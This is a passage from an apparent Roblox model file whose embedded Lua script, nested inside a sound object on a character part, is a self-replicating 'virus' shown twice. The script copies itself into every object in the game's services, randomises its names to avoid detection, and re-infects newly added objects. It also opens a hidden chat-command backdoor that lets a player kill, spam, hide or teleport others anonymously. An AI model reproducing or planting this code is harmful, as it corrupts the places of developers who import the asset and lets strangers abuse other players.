god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX108">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>12.2988644</X>
							<Y>3.29895926</Y>
							<Z>-11.0349817</Z>
							<R00>0.697126448</R00>
							<R01>9.777823e-009</R01>
							<R02>0.716948211</R02>
							<R10>3.85816215e-008</R10>
							<R11>1</R11>
							<R12>-5.11530516e-008</R12>
							<R20>-0.716948211</R20>
							<R21>6.3321167e-008</R21>
							<R22>0.697126448</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX109">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX110">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">wfk3</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX111">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">9hdsja</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
